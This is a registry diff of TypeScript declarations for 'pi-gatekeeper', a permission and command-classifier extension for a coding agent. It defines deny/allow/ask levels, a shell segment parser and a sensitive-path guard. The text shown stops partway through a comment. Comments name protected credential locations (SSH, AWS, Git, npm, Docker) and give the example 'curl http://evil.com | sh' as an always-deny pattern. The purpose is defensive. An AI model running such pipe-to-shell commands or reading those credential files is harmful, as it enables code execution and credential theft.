@wernerbisschoff/pi-gatekeeper 0.1.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -0,0 +1,621 @@
1
+ /**
2
+ * Pi/OMP extension entry point — Phase 3 of the Foundation shard.
3
+ *
4
+ * Implements the persistence lifecycle helpers (`getRulesPath`,
5
+ * `loadDefaultRules`, `bootstrapRules`, `loadRules`) called by the
6
+ * `session_start` wiring and the `/perm` slash command in later tasks.
7
+ * The full entry-point shell (slash command, CLI flag, status wiring,
8
+ * `cycleMode`/`setMode`/`showAllowlist`) arrives in TSK-001-08.
9
+ *
10
+ * Source of truth:
11
+ * - tasks.md TSK-001-03 (bootstrap / lifecycle loader)
12
+ * - data-model.md:177-228 (PermissionLevel / LevelRules / PermissionRules shapes)
13
+ * - constitution.md §1.1 (single-module extension boundary)
14
+ * - constitution.md §1.2 (flat-file persistence under ~/.pi/agent/)
15
+ * - constitution.md §1.4 (deny-by-default safety floor)
16
+ * - plan.md Phase 3 (rules path + atomic bootstrap implementation strategy)
17
+ */
18
+ import type { ExtensionAPI, ExtensionContext } from "@earendil-works/pi-coding-agent";
19
+ /** ─── Persistence Schema (mirrors `data-model.md:177-208`) ─── */
20
+ export type PermissionLevel = "low" | "medium" | "high";
21
+ /**
22
+ * Runtime permission level — narrows to {@link PermissionLevel} for persisted/legal modes
23
+ * and adds `"off"` as the runtime-only escape hatch documented in spec.md FLOW-06. Used by
24
+ * internal call sites that consult `currentMode` before the OFF bypass (e.g.
25
+ * {@link runPermissionGate} step (1)) so the wider domain is named at the alias site rather
26
+ * than repeated as an inline `| "off"` union with a forced cast at each consumer.
27
+ */
28
+ export type RuntimePermissionLevel = PermissionLevel | "off";
29
+ export interface LevelRules {
30
+ deny: string[];
31
+ allow: string[];
32
+ ask: string[];
33
+ }
34
+ export interface PermissionRules {
35
+ version: number;
36
+ currentMode: PermissionLevel | null;
37
+ rules: {
38
+ low: LevelRules;
39
+ medium: LevelRules;
40
+ high: LevelRules;
41
+ };
42
+ }
43
+ /**
44
+ * Outcome of classifying a single shell segment (or the union of segments in a compound command).
45
+ * Ephemeral — one per evaluation, never persisted. The `reason` field is the human-readable explanation
46
+ * the prompt system (ISS-005) renders verbatim for the per-segment preview and that downstream callers
47
+ * surface in status output (FLOW-07). Shape mirrors `data-model.md:85-96` (PermissionDecision table) and
48
+ * `data-model.md:218-221` (the `interface PermissionDecision` definition).
49
+ */
50
+ export type PermissionDecision = {
51
+ decision: "allow" | "ask" | "deny";
52
+ reason: string;
53
+ };
54
+ /** ─── Sensitive Path Guard (compile-time, not user-configurable) ─── */
55
+ /**
56
+ * Compile-time regex pattern + human-readable label for a sensitive path category.
57
+ * Consumed by {@link isSensitivePath} to classify paths before the `read` / `edit` /
58
+ * `write` tool call is dispatched. SensitivePath is intentionally compile-time (not
59
+ * user-configurable) because it's a cross-cutting security guard that runs in every
60
+ * permission mode — see `data-model.md:113-125` and `architecture.md:138-147`.
61
+ */
62
+ export interface SensitivePath {
63
+ readonly pattern: RegExp;
64
+ readonly label: SensitivePathLabel;
65
+ }
66
+ /**
67
+ * Stable label catalogue — single source of truth for the AC-007-XX reason strings.
68
+ * A future rename propagates from this constant to every catalog entry below and the
69
+ * corresponding `ctx.ui.notify` reason in `sensitivePathToolCallHandler` (Phase 2). The
70
+ * values are pinned by the `isSensitivePath — pattern catalog` describe in
71
+ * `test/sensitive-path.test.ts`.
72
+ */
73
+ declare const LABELS: {
74
+ readonly ENV: "Environment file";
75
+ readonly SSH: "SSH directory";
76
+ readonly AWS: "AWS directory";
77
+ readonly GNUPG: "GnuPG directory";
78
+ readonly KUBE: "Kubernetes directory";
79
+ readonly CRYPTO: "Crypto material";
80
+ readonly CREDS: "Credentials file";
81
+ readonly NPM: "npm config";
82
+ readonly PYPI: "PyPI config";
83
+ readonly GIT_CREDS: "Git credentials";
84
+ readonly DOCKER: "Docker config";
85
+ readonly GH_HOSTS: "GitHub hosts config";
86
+ };
87
+ /**
88
+ * Union of all valid sensitive-path labels — derived from {@link LABELS} so adding
89
+ * a new entry to the catalogue automatically propagates here with no separate
90
+ * "valid labels" list to maintain. {@link SENSITIVE_PATHS} uses this in place of
91
+ * `string` so a typo in a catalog entry fails at compile time, and {@link isSensitivePath}
92
+ * returns `SensitivePathLabel | ""` so consumers get type-safe label access (no arbitrary
93
+ * `string`). Pinned by the `isSensitivePath — pattern catalog` describe's `expect(...).label`
94
+ * literal-string assertions.
95
+ */
96
+ export type SensitivePathLabel = (typeof LABELS)[keyof typeof LABELS];
97
+ /**
98
+ * Compile-time catalog of sensitive path patterns. Iteration order matters:
99
+ * {@link isSensitivePath} uses an early-return `for...of` so the FIRST matching entry
100
+ * wins. The catalog is intentionally permissive — a `.ssh/` literal anywhere in the
101
+ * path matches so `~/.ssh/`, `/Users/<who>/.ssh/`, `/home/<who>/.ssh/`, and even
102
+ * `/srv/.ssh/` are all flagged (the latter is permissive by design — see
103
+ * `tasks.md TSK-006-01 "Edge Cases"`). Reorder the array only with a corresponding
104
+ * update to the `first-match-wins` test in `test/sensitive-path.test.ts`.
105
+ */
106
+ export declare const SENSITIVE_PATHS: readonly SensitivePath[];
107
+ /**
108
+ * Skill-script short-circuit pattern — matches a `.sh` file directly under `/skills/`
109
+ * (single-segment form). `/skills/sub/dir.sh` (nested) does NOT match because
110
+ * `[^/]+` excludes `/`. Per US-021, the sensitive-path `tool_call` handler (Phase 2)
111
+ * short-circuits on this pattern BEFORE the {@link SENSITIVE_PATHS} scan so a skill
112
+ * script whose filename would otherwise match (e.g. `/skills/.env-helper.sh`) still
113
+ * passes through.
114
+ */
115
+ export declare const SKILL_SCRIPT_PATTERN: RegExp;
116
+ /**
117
+ * Classify `path` against the {@link SENSITIVE_PATHS} catalog. Returns the FIRST
118
+ * matching entry's `label` (first-match-wins via the catalog's documented iteration
119
+ * order). Performance is O(1) per call: the regexes are compiled once at module
120
+ * load, so `.test(path)` is the only per-call cost (O(n) where n is `path.length`).
121
+ * Returns `{ match: false, label: "" }` when no pattern matches — the empty string
122
+ * is the sentinel "no-match" label and is excluded from the {@link SensitivePathLabel}
123
+ * union, so consumers can branch on `match` instead of inspecting the label.
124
+ */
125
+ export declare function isSensitivePath(path: string): {
126
+ match: boolean;
127
+ label: SensitivePathLabel | "";
128
+ };
129
+ /**
130
+ * Public persistence write surface — the single boundary that owns atomic
131
+ * rename + best-effort error handling for `perm-rules.json`.
132
+ *
133
+ * Contract:
134
+ * - Creates the parent directory recursively with `mode: 0o700` so the
135
+ * Sensitive Path Guard's directory-permission policy (matches
136
+ * {@link getRulesPath}) is honoured on first write into a fresh
137
+ * `~/.pi/agent/` tree. `mkdirSync({ recursive: true })` is a no-op when
138
+ * the directory already exists, so re-writes never loosen or tighten an
139
+ * existing directory's permissions.
140
+ * - Writes the payload to `<filePath>.tmp` then `renameSync`s it into
141
+ * place — the atomic-rename pattern prevents partial writes from
142
+ * corrupting an otherwise-valid rules file (RSK-009 mitigation).
143
+ * - Best-effort error handling: any failure (EACCES, EROFS, ENOSPC,
144
+ * ENOENT for an unwritable parent, etc.) is caught. When `ctx` is
145
+ * provided, the failure surfaces through `ctx.ui.notify` at `"warning"`
146
+ * level. When `ctx` is undefined the failure is silently swallowed —
147
+ * the caller's in-memory mutation already landed and the next session
148
+ * resumes from the last successfully persisted state.
149
+ *
150
+ * Flow references: FLOW-05 (level cycles and persists), FLOW-08 (Allow
151
+ * Always writes the persistent per-level JSON).
152
+ */
153
+ export declare function saveRules(filePath: string, payload: PermissionRules, ctx?: ExtensionContext): void;
154
+ /** ─── Persistence lifecycle helpers (under test) ─── */
155
+ /**
156
+ * Resolve the absolute path of the persisted rules file.
157
+ *
158
+ * Creates `~/.pi/agent/` with `mode: 0o700` ONLY when the directory does not
159
+ * already exist — `mkdirSync({ recursive: true })` skips creation (and
160
+ * permission tightening) for an existing directory. This means a directory
161
+ * previously created by another tool or installer with broader permissions
162
+ * is left untouched and cannot be retroactively narrowed from this helper.
163
+ *
164
+ * The 0o700 target honors the process umask (so the effective mode may be
165
+ * narrower than 0o700 on systems with a tighter umask, but never broader).
166
+ * The intent is to match the Sensitive Path Guard's directory-permission
167
+ * policy from ISS-006 so the directory is never world-readable when this
168
+ * extension creates it from a clean slate.
169
+ */
170
+ export declare function getRulesPath(): string;
171
+ /**
172
+ * Load the bundled `src/default-rules.json` payload. Read-only asset shipped
173
+ * inside the npm tarball. Throws if the asset is missing — fail loud per
174
+ * Constitution §1.4 rather than silently substituting a build-time string.
175
+ */
176
+ export declare function loadDefaultRules(): PermissionRules;
177
+ /**
178
+ * Public bootstrap helper — the pre-TSK-004-02 single-path entry point that always boots at `getRulesPath()`.
179
+ * Retained as a thin wrapper over {@link bootstrapRulesAt} so foundation tests (which do not exercise the
180
+ * extended `filePath` parameter) keep their call surface, and so future ISS-001 callers can request a
181
+ * bootstrap against the canonical home without re-deriving the path.
182
+ */
183
+ export declare function bootstrapRules(): PermissionRules;
184
+ /**
185
+ * Load rules from disk; surface malformed state via `ctx.ui.notify` and fall back to the bundled
186
+ * defaults OR the per-ctx last-valid cache (whichever is available), leaving the on-disk file
187
+ * untouched so the developer can inspect or hand-correct it.
188
+ *
189
+ * Contract (extended by TSK-004-02 — FR-011 / AC-011-02):
190
+ * - `filePath` is OPTIONAL: when omitted, the loader reads from `getRulesPath()` (preserves pre-TSK-004-02
191
+ * callers like `sessionStartHandler`). When provided, the loader reads from `filePath` and skips
192
+ * `getRulesPath()` entirely — persistence tests use this seam to drive the loader against an
193
+ * isolated `os.tmpdir()`-backed path without coupling to `os.homedir()`.
194
+ * - ENOENT (file missing at `targetPath`) → `bootstrapRulesAt(targetPath)` — atomically create the file
195
+ * with bundled defaults at the SAME path the caller asked for, populate the per-ctx cache with the
196
+ * bootstrapped payload, and return it. The bootstrap is silent (no notify).
197
+ * - `JSON.parse` throws (truncated payload, stray characters, etc.) → `handleMalformedFallback(ctx)` —
198
+ * notify at `"warning"` level, return the per-ctx cached payload if hot, otherwise bundled defaults.
199
+ * - Valid JSON but invalid shape (`null`, primitives, arrays, missing fields) → same fallback as the
200
+ * `JSON.parse` throw branch. Both branches share the same single-line `return handleMalformedFallback(ctx)`
201
+ * idiom so the read/parse/shape pipeline reads as a uniform success-or-fallback ladder.
202
+ * - Valid payload → populate BOTH `rules` and the per-ctx `lastValidRulesByCtx` cache, return parsed.
203
+ *
204
+ * On the malformed-file path the on-disk bytes are NEVER overwritten so the developer can inspect or
205
+ * hand-correct the file. The two-branch fallback (FR-011 / AC-011-02) preserves FLOW-10 cascade
206
+ * integrity: a developer's curated per-level deny/allow/ask appends survive a transient malformed edit.
207
+ */
208
+ export declare function loadRules(ctx: ExtensionContext, filePath?: string): PermissionRules;
209
+ /**
210
+ * Read the active permission level. Stable surface for downstream shards (ISS-003 classifier,
211
+ * ISS-005 prompt system) that need to consult the level without going through `updateStatus`.
212
+ */
213
+ export declare function getCurrentMode(): PermissionLevel;
214
+ /**
215
+ * Write the active permission level. Used by the foundation tests to drive `updateStatus`
216
+ * with different levels without going through the full `loadRules` bootstrap path. In
217
+ * production, `cycleMode` / `setMode` / `applyFlagOverride` (TSK-001-06, TSK-001-05) mutate
218
+ * the binding directly from inside the module.
219
+ *
220
+ * Also clears the ephemeral and session allow sets so test isolation (each `it(...)` starts with
221
+ * a fresh module-level state) matches the production lifecycle: a mode change is a fresh permission
222
+ * context, so any "Allow Once" or "Allow This Session" unlocks from the prior level are dropped.
223
+ * The single-source-of-truth clear path is `sessionStartHandler` for production; `setCurrentMode`
224
+ * mirrors it for the test-only mode-switch surface so Vitest's per-file isolation is honoured
225
+ * within a single file.
226
+ */
227
+ export declare function setCurrentMode(value: PermissionLevel): void;
228
+ /**
229
+ * Reserved TUI footer status key for the permission level indicator. Ownership is contractually
230
+ * pinned by `architecture.md:157` — no other extension may write to this key, otherwise the level
231
+ * indicator on the TUI footer could be shadowed by a colliding third-party status widget.
232
+ */
233
+ export declare const PERMISSION_STATUS_KEY = "perm";
234
+ /**
235
+ * TUI footer labels keyed by PermissionLevel. Specific emoji + label pairs are
236
+ * documented in AC-010-01 / AC-010-02
237
+ * (`specs/001-pi-gatekeeper/issues/001-foundation-packaging.md:33`):
238
+ * - `low` → `🟢 LOW` (green circle = restricted/safe)
239
+ * - `medium` → `🟡 MEDIUM` (yellow circle = balanced)
240
+ * - `high` → `🟠 HIGH` (orange circle = permissive/warning)
241
+ * The status key (`PERMISSION_STATUS_KEY`) is reserved by `architecture.md:157` — no other extension
242
+ * may write to it (otherwise the level indicator could be shadowed on the TUI footer).
243
+ */
244
+ export declare const MODE_LABELS: Record<PermissionLevel, string>;
245
+ /**
246
+ * Render the active permission level into the TUI footer via `ctx.ui.setStatus(...)` using the
247
+ * reserved `PERMISSION_STATUS_KEY`. The custom footer extension (`footer.ts`) reads the
248
+ * `~/.pi/agent/perm-mode` file directly and overlays the circle indicator (🟢/🟡/🟠) in the
249
+ * bottom powerline bar — so the `setStatus` call here serves as the fallback for built-in
250
+ * footer mode and as a data source for any extension that reads status keys directly.
251
+ *
252
+ * Synchronous — FLOW-05's `level_change_latency_ms` metric (<=100 ms) is satisfied because
253
+ * the call is a single in-process mutation. The full session_start wiring that invokes this
254
+ * helper (`loadRules -> set currentMode -> updateStatus`) lands in TSK-001-08; here we only
255
+ * define the primitive so it is independently testable.
256
+ */
257
+ export declare function updateStatus(ctx: ExtensionContext): void;
258
+ /** ─── CLI Flag Override (TSK-001-05) ─── */
259
+ /**
260
+ * Canonical name of the `--perm-mode` CLI flag. Exported so TSK-001-08's `pi.registerFlag(...)`
261
+ * call uses the same identifier that `applyFlagOverride` reads via `pi.getFlag(...)` — prevents
262
+ * drift if the flag is ever renamed. Mirrors the `PERMISSION_STATUS_KEY` pattern from TSK-001-04.
263
+ */
264
+ export declare const PERM_MODE_FLAG_NAME = "perm-mode";
265
+ /**
266
+ * Reconcile `currentMode` from the most authoritative available source, in priority order:
267
+ * 1. CLI flag (`pi.getFlag(PERM_MODE_FLAG_NAME)`) — only strict-equal values in
268
+ * {@link VALID_MODES} are accepted; anything else falls through to step 2.
269
+ * 2. Persisted `perm-rules.json` — read once via {@link readCurrentModeFromDisk}, never written.
270
+ * 3. In-memory `currentMode` — preserved when both above are unavailable.
271
+ *
272
+ * The persisted file is intentionally NOT rewritten (AC-001-03: "overrides persisted mode without
273
+ * modifying the file") so the override is per-session — the next session resumes at whatever the
274
+ * persisted mode was before this launch.
275
+ *
276
+ * The `pi.registerFlag(PERM_MODE_FLAG_NAME, ...)` registration call itself is deferred to
277
+ * TSK-001-08 (entry-point wiring) — this helper only CONSUMES the flag value, never registers it.
278
+ */
279
+ export declare function applyFlagOverride(pi: ExtensionAPI): void;
280
+ /** ─── Mode Transition (TSK-001-06) ─── */
281
+ /**
282
+ * Advance the active permission level to the next entry in the cycle `low → medium → high → low`,
283
+ * persist the new `currentMode` to `~/.pi/agent/perm-rules.json`, and re-render the status indicator.
284
+ * Surface contract:
285
+ * - Mutates module-level `currentMode` per the cycle order.
286
+ * - Persists `currentMode` to the on-disk file so the next session resumes at the new level
287
+ * (AC-001-02 contract).
288
+ * - Calls `ctx.ui.setStatus("perm", MODE_LABELS[currentMode])` synchronously so FLOW-05's
289
+ * `level_change_latency_ms` ≤ 100 ms metric holds (no deferred `setTimeout`).
290
+ * - If `perm-rules.json` has not yet been bootstrapped (caller invoked the helper before
291
+ * `session_start` completed), persistence is silently skipped — the in-memory mutation and
292
+ * TUI update still fire so the cycle is always observable.
293
+ *
294
+ * Flow references: FLOW-05 Happy-Path Steps 2 + 3 (level cycles and status indicator updates).
295
+ */
296
+ export declare function cycleMode(ctx: ExtensionContext): void;
297
+ export declare function setMode(value: string, ctx: ExtensionContext): void;
298
+ /**
299
+ * Render the current permission ruleset for the developer to inspect / copy into their editor.
300
+ * Backs the `/perm allowlist` (and `/perm list`) subcommand per FR-013.
301
+ *
302
+ * Two output paths:
303
+ * - **File missing** (first run, manual cleanup, etc.) → notify with the expected path AND the
304
+ * "default rules in effect" annotation. AC-013-03 contract: even when the file does not exist
305
+ * the developer can still copy the expected path into their editor. The cache (`rules`) is
306
+ * allowed to be null in this branch — the file-not-found check is the source of truth so the
307
+ * handler is robust against pre-`session_start` invocation.
308
+ * - **File present** → render the multi-line breakdown: resolved `Path:`, active `Mode:`, and
309
+ * the per-level `Deny:`, `Allow:`, `Ask:` arrays JSON-serialised so the developer can paste
310
+ * them straight into the file. The `Allow:` / `Ask:` labels are surfaced even when the
311
+ * arrays are empty (`[]`) so the structural tuple is unambiguous (AC-013-02).
312
+ *
313
+ * `notify` is always called at the `"info"` level — the discovery output is informational, never
314
+ * alarming. The level is pinned by the AC-013 tests.
315
+ *
316
+ * Flow references: FLOW-09 Step 1 (developer resolves the permission file path). The
317
+ * edit-and-reload half of FLOW-09 (Steps 2-3) is deferred to ISS-004.
318
+ */
319
+ export declare function showAllowlist(ctx: ExtensionContext): void;
320
+ /**
321
+ * Handler for the `/perm` slash command — the user-visible surface for FLOW-05 (mode switching)
322
+ * and FLOW-09 (manual rules discovery). The branching is strict and exhaustive:
323
+ *
324
+ * 1. Trim + lowercase the args (case-insensitive matching — accidental Shift-key capitalization
325
+ * on a developer-typed surface must not fail).
326
+ * 2. Iterate {@link PERM_DISPATCH} in declaration order; the first entry whose literal set
327
+ * contains the normalised args fires its action and returns.
328
+ * 3. If no entry matches → `ctx.ui.notify` at `"warning"` level (deny-by-default UX per
329
+ * Constitution §1.4 — silent no-ops would mask typos like `/prem` or `/permission`).
330
+ *
331
+ * Subcommand literals are co-located in {@link PERM_SUBCOMMANDS} for greppability and to make a
332
+ * future rename / new level a single-edit change.
333
+ *
334
+ * **Ownership invariant**: this function does NOT call any `pi.register*` method. Registration of
335
+ * `/perm` is owned by TSK-001-08's entry-point wiring — moving the call here would cause TSK-001-08
336
+ * to double-register and Pi/OMP to throw on the duplicate. The companion test
337
+ * `flow anchor: permCommandHandler does NOT register any ExtensionAPI surface` pins this.
338
+ */
339
+ export declare function permCommandHandler(args: string, ctx: ExtensionContext): Promise<void>;
340
+ /** ─── Shell Segment Parser (TSK-002-01 + TSK-002-02) ─── */
341
+ /**
342
+ * A single command surface as classified by the gatekeeper. Phase 1 models a segment as a plain string;
343
+ * subsequent TDD tasks (TSK-002-03..06) may extend this with structural metadata (extracted substitution
344
+ * content, quoted-region markers) without changing the public return type's surface compatibility.
345
+ */
346
+ export type ShellSegment = string;
347
+ /** ─── Command Classifier and Cascade Resolver (ISS-003) ─── */
348
+ /**
349
+ * The cascade walker introduced in TSK-003-02 reuses the module-level `VALID_MODES` tuple at
350
+ * `src/gatekeeper.ts:81` as its level-order traversal array (low → medium → high for DOWN walks,
351
+ * high → medium → low for UP walks). The tuple is the single source of truth for the level set —
352
+ * the cascade walker MUST reference it instead of redeclaring `["low", "medium", "high"]` so a
353
+ * future level rename propagates from one edit to every walker site.
354
+ */
355
+ /**
356
+ * Convert a glob pattern (literal text with `*` wildcards) into an anchored RegExp.
357
+ *
358
+ * Algorithm:
359
+ * 1. Escape every regex metacharacter in `pattern` (excluding `*`), so a pattern like
360
+ * `curl|sh` becomes `curl\|sh` rather than being interpreted as alternation.
361
+ * 2. Substitute the now-escaped `\*` (which originated from a literal `*` in the input)
362
+ * with `.*`, so a single `*` matches any run of characters.
363
+ * 3. Anchor the resulting source with `^...$` so the match is a full-string match,
364
+ * never a substring match.
365
+ *
366
+ * Source anchor: `data-model.md:44-52` (literal / prefix / suffix / middle / catch-all),
367
+ * `design.md` §"Pattern matching" decision (literal `|`, `&`, `;`, `$` are matched literally,
368
+ * not as shell operators).
369
+ *
370
+ * Exported so tests can assert the regex shape directly (e.g. that the result is anchored,
371
+ * that wildcards produce `.*`, and that regex metachars in the literal portion are escaped).
372
+ */
373
+ export declare function globToRegex(pattern: string): RegExp;
374
+ /** Full-string anchored glob match (never substring); case-sensitive. Wraps {@link globToRegex}. */
375
+ export declare function matchGlob(pattern: string, input: string): boolean;
376
+ /**
377
+ * Public thin wrapper over {@link findFirstMatch}. Preserves the historic return shape
378
+ * (`{ matched: true, pattern }` on hit; `{ matched: false }` on miss with no `pattern`
379
+ * field) used by external callers and regression tests in `test/classifier.test.ts`.
380
+ * The walker logic itself lives in `findFirstMatch` so cascade walkers,
381
+ * explicit-pass evaluation, and the public API all share one iteration primitive.
382
+ *
383
+ * Implements `data-model.md:61` first-match-wins semantics — an earlier literal pattern in
384
+ * the list wins over a later wildcard even when both would match.
385
+ *
386
+ * Source anchor: `tasks.md` TSK-003-01 (matchSegmentAgainstList contract).
387
+ */
388
+ export declare function matchSegmentAgainstList(segment: string, patterns: readonly string[]): {
389
+ matched: boolean;
390
+ pattern?: string;
391
+ };
392
+ /**
393
+ * Cascade resolver for a single shell segment. Implements `data-model.md:347-352`
394
+ * (allow cascades DOWN through lower levels, deny cascades UP through higher levels,
395
+ * explicit per-level rules override cascade-inherited decisions, default `ask`).
396
+ *
397
+ * Algorithm (four stops, fixed order, each delegated to a named helper):
398
+ * 1. {@link evaluateExplicit} — deny → allow → ask at `mode`, first-match-wins.
399
+ * 2. {@link walkCascadeDownForAllow} — visit lower-indexed levels' allow lists (allow cascades DOWN).
400
+ * 3. {@link walkCascadeUpForDeny} — visit higher-indexed levels' deny lists (deny cascades UP).
401
+ * 4. Default ask when every cascade stop exhausts without a match.
402
+ *
403
+ * Level-order tuple reused from the module-level `VALID_MODES` (`src/gatekeeper.ts:81`),
404
+ * the single source of truth for the level set; the walker references the tuple instead of
405
+ * redeclaring `["low", "medium", "high"]` so a future mode rename propagates from one edit.
406
+ *
407
+ * Source anchor: `tasks.md` TSK-003-02 (classifySegment contract),
408
+ * `data-model.md:347-352` (cascade algorithm), `data-model.md:60-64` (cascade semantics),
409
+ * `constitution.md §1.5` (cascade direction).
410
+ *
411
+ * @requires mode !== "off" — the Off-mode bypass lives above this resolver in the bash tool
412
+ * handler (ISS-005); `classifySegment` is not invoked with `mode === "off"` and the
413
+ * `PermissionLevel` type excludes `"off"` from its union.
414
+ */
415
+ export declare function classifySegment(segment: string, mode: PermissionLevel, rules: PermissionRules): PermissionDecision;
416
+ /**
417
+ * Loose matcher used exclusively by {@link classifyCommand}'s ALWAYS_DENY pre-check. Differs from
418
+ * {@link matchGlob} in two important ways so cross-segment attack patterns like `curl|sh` are
419
+ * caught before per-segment evaluation:
420
+ *
421
+ * 1. **Substring semantics** — the pattern matches anywhere in the input rather than requiring
422
+ * a full-string anchored match. This is what allows `mkfs` (a literal pattern with no
423
+ * wildcards) to match `mkfs /dev/sda1` (the input has trailing arguments after `mkfs`).
424
+ * Without substring semantics, a literal `mkfs` pattern would only match the exact string
425
+ * `mkfs`, missing every realistic invocation. The per-segment matcher in
426
+ * {@link classifySegment} retains anchored semantics for cascade-correctness — this looser
427
+ * matcher is reserved for the cross-segment safety floor.
428
+ * 2. **`|` is treated as a wildcard** — the `|` character in a pattern is interpreted as
429
+ * `.*` (matching any run of characters) rather than as a literal pipe. This is what allows
430
+ * the pattern `curl|sh` to match the input `curl http://evil.com | sh`: the `|` in the
431
+ * pattern consumes ` http://evil.com ` and the literals `curl` and `sh` bookend the
432
+ * cross-segment pipe. `data-model.md:53` says literal `|` is matched as a literal character
433
+ * for per-segment rules; this is the per-segment contract. The ALWAYS_DENY pre-check
434
+ * deliberately uses the looser interpretation because the cross-segment attack patterns
435
+ * (`curl|sh`, `wget|sh`) are written with `|` as a semantic "piped-to" marker, not as a
436
+ * literal pipe character the user expects to match verbatim.
437
+ *
438
+ * Algorithm (mirrors {@link globToRegex} but with the two differences above):
439
+ * 1. Escape every regex metacharacter in `pattern` EXCEPT `*` and `|`.
440
+ * 2. Substitute `*` with `.*` and `|` with `.*`.
441
+ * 3. Wrap with `.*` on both sides and anchor with `^...$` — producing a substring match.
442
+ *
443
+ * Exported for testability so the loose semantics can be locked by future tests if needed.
444
+ */
445
+ export declare function matchAlwaysDenyPattern(pattern: string, input: string): boolean;
446
+ /**
447
+ * Top-level command classification pipeline. Implements FR-003 (Command Classifier) end-to-end:
448
+ *
449
+ * 1. ALWAYS_DENY pre-check — union of all three levels' `deny` lists matched against the FULL
450
+ * command string. Catches cross-segment attack patterns like `curl|sh` that no per-segment
451
+ * matcher could detect (per-segment evaluation would split `curl ... | sh` into
452
+ * `["curl ...", "sh"]`, neither of which matches the literal `curl|sh`). When matched,
453
+ * returns `{ decision: "deny", reason: "always-deny pattern: '<pattern>'" }` immediately —
454
+ * no segment evaluation, no cascade walk.
455
+ * 2. Split — `splitShellSegments(command)` (ISS-002 parser), filtered to drop empty/whitespace
456
+ * segments. If no segments remain (empty command, whitespace-only, operators-only with no
457
+ * operands), return `{ decision: "ask", reason: "empty command" }`.
458
+ * 3. Per-segment classification — each surviving segment is classified via {@link classifySegment}.
459
+ * 4. Combined precedence — `deny > ask > allow` across segments per `architecture.md:46-47` and
460
+ * `data-model.md:162`. The combined reason concatenates per-segment reasons with
461
+ * `"segment N: <reason>; "` formatting so FLOW-07's prompt preview can attribute the decision
462
+ * to the offending segment(s).
463
+ *
464
+ * Source anchor: `tasks.md` TSK-003-03 (`classifyCommand` pipeline), `data-model.md:397` (the
465
+ * classifyCommand block diagram), `architecture.md:46-47` (combined `deny > ask > allow`
466
+ * precedence), `constitution §1.4 v0.4.0` (ALWAYS_DENY union safety floor),
467
+ * `constitution §1.5` (cascade direction).
468
+ *
469
+ * @requires mode !== "off" — the Off-mode bypass lives above this resolver in the bash tool
470
+ * handler (ISS-005); `classifyCommand` is not invoked with `mode === "off"` and the
471
+ * `PermissionLevel` type excludes `"off"` from its union.
472
+ */
473
+ export declare function classifyCommand(command: string, mode: PermissionLevel, rules: PermissionRules): PermissionDecision;
474
+ export declare function splitShellSegments(cmd: string): ShellSegment[];
475
+ /**
476
+ * True when `entry` is a leading-`/` or leading-`~` token with no shell metacharacters — i.e. the
477
+ * candidate is a pure file-system path rather than a compound command fragment. Used by
478
+ * {@link getAllowListEntries} to drop `/tmp/out` / `~/notes.md`-style entries from the prompt
479
+ * preview and the on-disk allowlist so a developer cannot accidentally approve only the file
480
+ * portion of `cat /tmp/output.txt`.
481
+ *
482
+ * Order of checks matters: the empty-string short-circuit returns `false` BEFORE the regex
483
+ * matches, so an empty entry never collides with the `/^[/~].*$/` anchor; the leading-`/` or
484
+ * leading-`~` check precedes the metachar scan so relative paths like `./foo.txt` or `foo/bar.txt`
485
+ * short-circuit to `false` without scanning for metachars.
486
+ *
487
+ * Source anchor: `architecture.md:152-163`, `data-model.md:177-228`.
488
+ */
489
+ export declare function isBarePath(entry: string): boolean;
490
+ /**
491
+ * Returns `true` when `segment` looks like a leading shell environment-variable assignment
492
+ * (`VAR=value`). Identifiers must start with `[a-zA-Z_]` and contain `[a-zA-Z0-9_]*` before
493
+ * the `=` — matching POSIX-shell env-assignment naming rules. The value portion is any string
494
+ * up to the next shell-operator boundary.
495
+ *
496
+ * This is a **syntactic** check; it does not validate that the value is well-formed (quoted,
497
+ * escaped, etc.) — the shell segment parser has already resolved quoting before we see the
498
+ * token.
499
+ */
500
+ export declare function isEnvAssignment(segment: string): boolean;
501
+ /**
502
+ * Strip one or more leading shell environment-variable assignments (`VAR=value`) from
503
+ * `command`. Only strips assignments that appear before the first non-assignment word,
504
+ * matching shell semantics where `VAR=val cmd` sets an env var for the command but
505
+ * `cmd VAR=val` passes `VAR=val` as a literal argument.
506
+ *
507
+ * Uses a word-level splitter ({@link splitShellWords}) that respects quotes, then drops
508
+ * leading words matching {@link isEnvAssignment}. The remaining command is reconstructed
509
+ * by joining the surviving words.
510
+ *
511
+ * **Contract:**
512
+ * - `stripLeadingEnvAssignments("PLAN_TARGET=/tmp/foo ~/cmd.sh arg")`
513
+ * → `"~/cmd.sh arg"`
514
+ * - `stripLeadingEnvAssignments("A=1 B=2 echo hi")` → `"echo hi"`
515
+ * - `stripLeadingEnvAssignments("echo A=1 B=2")` → `"echo A=1 B=2"`
516
+ * (no leading assignments, unchanged)
517
+ * - `stripLeadingEnvAssignments("")` → `""`
518
+ * - `stripLeadingEnvAssignments("VAR='quoted val' cmd")` → `"cmd"`
519
+ *
520
+ * Pure function — no I/O, no side effects.
521
+ */
522
+ export declare function stripLeadingEnvAssignments(command: string): string;
523
+ /**
524
+ * Compute the list of entries that "Allow Always" will persist for `command`, in the
525
+ * AC-008-01-mandated order: **first non-bare segment, then full trimmed command, then remaining
526
+ * non-bare segments in parser order**. Bare-path entries are filtered by
527
+ * {@link isBarePath} so `/tmp/out` / `~/notes.md`-style tokens do not escape as standalone
528
+ * allowlist entries. Duplicates are removed with an order-preserving Set-then-spread pass so the
529
+ * "full + segments" formula collapses to a single entry when the full command equals the first
530
+ * segment (e.g. `echo hello` → `["echo hello"]`).
531
+ *
532
+ * **Ordering contract** (PRD AC-008-01 verbatim — pinned by `test/allowlist.test.ts`):
533
+ * - `getAllowListEntries("npm install express && npm test")`
534
+ * → `["npm install express", "npm install express && npm test", "npm test"]`
535
+ * - `getAllowListEntries("a && b && c")` → `["a", "a && b && c", "b", "c"]`
536
+ * - `getAllowListEntries("cat /tmp/output.txt")` → `["cat /tmp/output.txt"]`
537
+ * (bare path inside the segment survives; the bare path as a standalone entry is filtered)
538
+ * - `getAllowListEntries("echo hello")` → `["echo hello"]` (single segment, no dedup)
539
+ * - `getAllowListEntries("npm test && npm test")` → `["npm test", "npm test && npm test"]`
540
+ * (first-occurrence-wins dedup; duplicate segment removed, full compound preserved)
541
+ *
542
+ * Contract anchors:
543
+ * - `data-model.md:177-228` (FR-008: allowlist entry computation)
544
